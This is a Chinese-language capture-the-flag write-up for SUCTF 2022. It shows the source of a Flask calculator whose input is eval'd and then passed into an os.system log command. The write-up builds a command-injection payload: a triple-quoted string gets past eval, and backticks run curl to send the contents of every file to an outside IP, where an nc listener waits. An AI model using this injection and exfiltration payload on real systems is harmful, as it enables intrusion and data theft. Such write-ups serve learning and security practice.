周末第一次组队和大佬们打比赛,web题只做了一道签到题。之后从11点开始坐牢。后面两道web题很难,都是知识盲区。

题目给了源码,是个用flask框架写的一个计算器程序,刚开始以为是SSTI模板注入,后来发现不是。

先看下源码

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    
@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  
 

waf过滤了很多,基本不可能模板注入。但这里注意这几行代码

def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)# 存在命令注入注入点
        except:
            pass
        return str(data)
    else:
        return "waf!!"

这里的 os.system(log)会执行log日志中的命令,将日志内容写入 ./tmp/log.txt中。

  • ps:注意这里的 /tmp/log.txt 并不能访问到,因为题中没有启用这个@app.route("/tmp/log.txt",methods=['GET'])路由。(基础不牢的后果,要抽时间补一补flask框架的基础了)。

所以这里从在命令注入,由于题目唯一能传参的地方是这个num,所以首先要绕过这个 eval(num),不能让它报错。这里就要用python的特性了。

举个栗子:

"print('test')"
'''print('test')'''
"""print('test')"""
str0 = "'''print('test')'''"
str1 = '''print('test')'''
print(str1)
print(str0)
eval(str1)
eval(str0)

运行结果如下:

image-20220328162107393

python中的引号包起来的字符串如果没有赋值给变量的话,它就是个注释。所以python中的多行注释写成

'''
这是一个
注释
'''

由于num是字符串类型,那么可以构造 三个单引号的字符串 num='''some code''',这样 eval(num)实际运行的就是注释,不会报错,同时这里的几个单引号还为后面的命令注入提供了条件。

那么可以构造payload(这里的ip是自己服务器的ip,注意把云服务器的端口打开)

'''1'`curl	-d	\`cat	*\`	144.152.66.124:8866`'2'''

#urlencode后为

'''1'%60curl%09-d%09%5C%60cat%09*%5C%60%09144.152.66.124%3A8866%60'2'''

这里由于空格被过滤了,用tab键代替(urlencode为%09)。

简单解释一下这个payload

三个单引号绕过eval()不用说了。拼接好log后调用os.system(log) ,就是执行

echo '''1'`curl	-d	\`cat	*\`	174.123.96.103:8866`'2'''> ./tmp/log.txt

shell中单引号两两匹配闭合成功,有反引号优先执行反引号的命令,利用curl 发包到自己的服务器从而拿到flag。

打开服务器用 nc 监听自己开启的端口

可以直接输入

image-20220328115811395

得到结果

image-20220328115848858

小结一下:这里其实挺考验个人的python和linux相关基础知识的。像curl和nc这样的工具以后要加强学习。